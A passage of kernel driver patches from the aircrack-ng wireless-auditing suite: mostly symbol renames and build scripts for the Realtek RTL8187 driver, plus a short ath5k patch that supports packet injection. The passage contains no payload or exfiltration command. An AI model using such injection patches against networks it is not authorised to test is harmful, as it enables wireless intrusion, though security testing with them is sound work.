0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +391,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +405,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +483,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +495,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +535,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile rtl8187_linux_26.1010.0622.2006.modified/ieee80211/Makefile --- rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/Makefile 2010-05-19 22:18:51.986075533 -0700 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/modules.order rtl8187_linux_26.1010.0622.2006.modified/ieee80211/modules.order --- rtl8187_linux_26.1010.0622.2006/ieee80211/modules.order 1969-12-31 16:00:00.000000000 -0800 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/modules.order 2010-05-19 22:23:55.968503440 -0700 @@ -0,0 +1,5 @@ +kernel//home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl.ko +kernel//home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl.ko +kernel//home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep-rtl.ko +kernel//home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip-rtl.ko +kernel//home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp-rtl.ko diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers rtl8187_linux_26.1010.0622.2006.modified/ieee80211/Modules.symvers --- rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers 2006-06-05 19:57:56.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/Modules.symvers 1969-12-31 16:00:00.000000000 -0800 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Module.symvers rtl8187_linux_26.1010.0622.2006.modified/ieee80211/Module.symvers --- rtl8187_linux_26.1010.0622.2006/ieee80211/Module.symvers 1969-12-31 16:00:00.000000000 -0800 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/Module.symvers 2010-05-19 22:24:10.342666003 -0700 @@ -0,0 +1,41 @@ +0x00000000 ieee80211_softmac_start_protocol_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 free_ieee80211_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_name_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_mode_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_mode_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_rate_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_rate_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_scan_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_scan_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_freq_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_freq_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_register_crypto_ops_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_ps_tx_ack_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_rx_mgt_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_unregister_crypto_ops_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_essid_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_essid_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_stop_queue_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_rx_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_crypt_deinit_handler_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_wap_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_wap_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wlan_frequencies_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_get_crypto_ops_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_xmit_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_power_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_power_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_crypt_deinit_entries_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_is_54g_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_get_beacon_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_is_shortslot_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_rawtx_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_reset_queue_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_softmac_stop_protocol_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wpa_supplicant_ioctl_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 alloc_ieee80211_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_txb_free_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wake_queue_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_crypt_delayed_deinit_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_encode_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_encode_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2010-05-19 22:23:55.941849065 -0700 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp.o +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp-rtl.ko +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2010-05-19 22:23:55.861848365 -0700 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt.o +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl.ko +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2010-05-19 22:23:55.921850950 -0700 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip.o +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip-rtl.ko +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2010-05-19 22:23:55.888502601 -0700 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep.o +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep-rtl.ko +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211-rtl.mod rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211-rtl.mod 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211-rtl.mod 2010-05-19 22:23:55.841835305 -0700 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_rx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_tx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_wx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_module.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac_wx.o +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl.ko +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.o diff -Naur rtl8187_linux_26.1010.0622.2006/makedrv~ rtl8187_linux_26.1010.0622.2006.modified/makedrv~ --- rtl8187_linux_26.1010.0622.2006/makedrv~ 2006-09-05 07:21:10.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/makedrv~ 1969-12-31 16:00:00.000000000 -0800 @@ -1,13 +0,0 @@ -#!/bin/sh - -#tar -zxvf stack.tar.gz -#tar -zxvf drv.tar.gz -cd ieee80211 -make clean -make -cd ../beta-8187 -make clean -make -cd .. - - diff -Naur rtl8187_linux_26.1010.0622.2006/Makefile rtl8187_linux_26.1010.0622.2006.modified/Makefile --- rtl8187_linux_26.1010.0622.2006/Makefile 1969-12-31 16:00:00.000000000 -0800 +++ rtl8187_linux_26.1010.0622.2006.modified/Makefile 2010-05-19 22:18:52.002707069 -0700 @@ -0,0 +1,38 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_linux_26.1010.0622.2006/ReadMe.txt~ rtl8187_linux_26.1010.0622.2006.modified/ReadMe.txt~ --- rtl8187_linux_26.1010.0622.2006/ReadMe.txt~ 2006-06-06 10:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ReadMe.txt~ 1969-12-31 16:00:00.000000000 -0800 @@ -1,129 +0,0 @@ -Release Date: 2006-01-13, ver 1.1 -RTL8187 Linux driver version 1.1 - - --This driver supports RealTek RTL8187 Wireless LAN driver for - Fedora Core 2/3/4/5, Debian 3.1, Mandrake 10.2/Mandriva 2006, - SUSE 9.3/10.1/10.2, Gentoo 3.1, etc. - - Support Client mode for either infrastructure or adhoc mode - - Support WEP and WPAPSK connection - -< Component > -The driver is composed of several parts: - 1. Module source code - stack.tar.gz - drv.tar.gz - - 2. Script ot build the modules - makedrv - - 3. Script to load/unload modules - wlan0up - wlan0down - - 4. Script and configuration for DHCP - wlan0dhcp - ifcfg-wlan0 - 4. Supplicant source code: - wpa_supplicant-0.4.9.tar.gz - - 5. Example of supplicant configuration file: - wpa1.conf - -< Installation > -Runing the scripts can finish all operations of building up modules -from the source code and start the nic. - 1. Build up the drivers from the source code - ./makedrv - - 2. load the driver module to kernel and start up nic - ./wlan0up - -< Set wireless lan MIBs > -This driver uses Wireless Extension as an interface allowing you to set -Wireless LAN specific parameters. - -Current driver supports "iwlist" to show the device status of nic - iwlist wlan0 [parameters] -where - parameter explaination [parameters] - ----------------------- ------------- - Show available chan and freq freq / channel - Show and Scan BSS and IBSS scan[ning] - Show supported bit-rate rate / bit[rate] - Show Power Management mode power - -For example: - iwlist wlan0 channel - iwlist wlan0 scan - iwlist wlan0 rate - iwlist wlan0 power - -Driver also supports "iwconfig", manipulate driver private ioctls, to set -MIBs. - - iwconfig wlan0 [parameters] [val] -where - parameter explaination [parameters] [val] constraints - ----------------------- ------------- ------------------ - Connect to AP by address ap [mac_addr] - Set the essid, join (I)BSS essid [essid] - Set operation mode mode {Managed|Ad-hoc} - Set keys and security mode key/enc[ryption] {N|open|restricted|off} - -For example: - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - iwconfig wlan0 essid "ap_name" - iwconfig wlan0 mode Ad-hoc - iwconfig wlan0 mode essid "name" mode Ad-hoc - iwconfig wlan0 key 0123456789 [2] open - iwconfig wlan0 key off - iwconfig wlan0 key restricted [3] 0123456789 - -< Getting IP address > -After start up the nic, the network needs to obtain an IP address before -transmit/receive data. -This can be done by setting the static IP via "ifconfig wlan0 IP_ADDRESS" -command, or using DHCP. - -If using DHCP, setting steps is as below: - (1)connect to an AP via "iwconfig" settings - iwconfig wlan0 essid [name] or - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - - (2)run the script which run the dhclient - ./wlan0dhcp - -< WPAPSK > -WPA_SUPPLICANT help the network to communicate under the protection of WPAPSK -mechanism - - (1)Unpack source code of WPA supplicant: - tar -zxvf wpa_supplicant-0.4.9.tar.gz - cd wpa_supplicant-0.4.9 - - (2)Create .config file: - cp defconfig .config - - (3)Edit .config file, uncomment the following line: - #CONFIG_DRIVER_IPW=y. - - (4)Build WPA supplicant: - make - - (5)Edit wpa_supplicant.conf to set up SSID and its passphrase. - For example, the following setting in "wpa1.conf" means SSID - to join is "BufAG54_Ch6" and its passphrase is "87654321". - network={ - ssid="BufAG54_Ch6" - proto=WPA - key_mgmt=WPA-PSK - pairwise=CCMP TKIP - group=CCMP TKIP WEP104 WEP40 - psk="87654321" - priority=2 - } - - (6)Execute WPA supplicant (Assume 8187 and related modules had been - loaded): - ./wpa_supplicant -D ipw -c wpa1.conf -i wlan0 & - diff -Naur rtl8187_linux_26.1010.0622.2006/symvers rtl8187_linux_26.1010.0622.2006.modified/symvers --- rtl8187_linux_26.1010.0622.2006/symvers 1969-12-31 16:00:00.000000000 -0800 +++ rtl8187_linux_26.1010.0622.2006.modified/symvers 2010-05-19 22:18:52.002707069 -0700 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_linux_26.1010.0622.2006/wlan0rmv rtl8187_linux_26.1010.0622.2006.modified/wlan0rmv --- rtl8187_linux_26.1010.0622.2006/wlan0rmv 2006-09-05 07:21:10.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/wlan0rmv 2010-05-19 22:18:52.006031322 -0700 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.2-beta3/patches/ath5k-injection-2.6.27-rc2.patch0000644000000000000000000000120711050052432022101 0ustar rootrootdiff --git a/drivers/net/wireless/ath5k/base.c b/drivers/net/wireless/ath5k/base.c index 217d506..4e7a949 100644 --- a/drivers/net/wireless/ath5k/base.c +++ b/drivers/net/wireless/ath5k/base.c @@ -1219,7 +1219,9 @@ ath5k_txbuf_setup(struct ath5k_softc *sc, struct ath5k_buf *bf) bf->skbaddr = pci_map_single(sc->pdev, skb->data, skb->len, PCI_DMA_TODEVICE); - if (info->flags & IEEE80211_TX_CTL_NO_ACK) + if (info->flags & IEEE80211_TX_CTL_NO_ACK || + (info->flags & IEEE80211_TX_CTL_INJECTED && + !(ieee80211_has_morefrags(((struct ieee80211_hdr *)skb->data)->frame_control)))) flags |= AR5K_TXDESC_NOACK; pktlen = skb->len; aircrack-ng-1.2-beta3/patches/rtl8187_2.6.32.patch0000644000000000000000000001141211335626102017636 0ustar rootrootdiff -udpr 